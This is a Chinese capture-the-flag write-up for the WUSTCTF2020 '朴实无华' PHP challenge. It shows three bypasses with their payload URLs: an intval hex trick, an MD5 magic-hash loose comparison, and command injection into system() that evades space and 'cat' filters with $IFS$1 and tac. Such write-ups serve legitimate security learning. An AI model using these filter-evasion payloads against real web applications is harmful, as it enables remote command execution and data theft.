[WUSTCTF2020]朴实无华
首先打开页面,发现无信息
含泪扫墓路,发现robots.txt
访问其中的链接,此时发现http头中藏有一个路径
直接访问,得到以下代码,有一点点乱码,用抓包软件打开即可
发现代码分为三关,我们一关一关看
第一关:intval绕过
//level 1
if (isset($_GET['num'])){$num = $_GET['num'];if(intval($num) < 2020 && intval($num + 1) > 2021){echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";}else{die("金钱解决不了穷人的本质问题");}
}else{die("去非洲吧");
}
这里我们注意到intval函数中只有一个参数,所以不会进行进制转换
如果我们在第一个判断中传入0x9999
这种16进制数,是会被读取为0的
同时在第二个判断中0x9999+1
会得到一个int,传入后大于2021即可
到此为止,第一关已经绕过了
payload:
http://xx.com/fl4g.php?num=0x9999
第二关:MD5绕过
//level 2
if (isset($_GET['md5'])){$md5=$_GET['md5'];if ($md5==md5($md5))echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";elsedie("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{die("去非洲吧");
}
一个比较常规的md5绕过
一个数值md5前后相等(弱相等)
md5('0e215962017');
为0e291242476940776845150308577824
两者弱相等(科学记数法)
payload:
http://xx.com/fl4g.php?num=0x9999&md5=0e215962017
第三关:命令执行绕过
//get flag
if (isset($_GET['get_flag'])){$get_flag = $_GET['get_flag'];if(!strstr($get_flag," ")){$get_flag = str_ireplace("cat", "wctf2020", $get_flag);echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";system($get_flag);}else{die("快到非洲了");}
}else{die("去非洲吧");
}
判断了是否有空格,替换了cat命令
先用ls查看目录
直接开绕$IFS$1
绕过空格,tac
绕过cat
最终payload
/fl4g.php?num=0x6666&md5=0e215962017&get_flag=tac$IFS$1fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag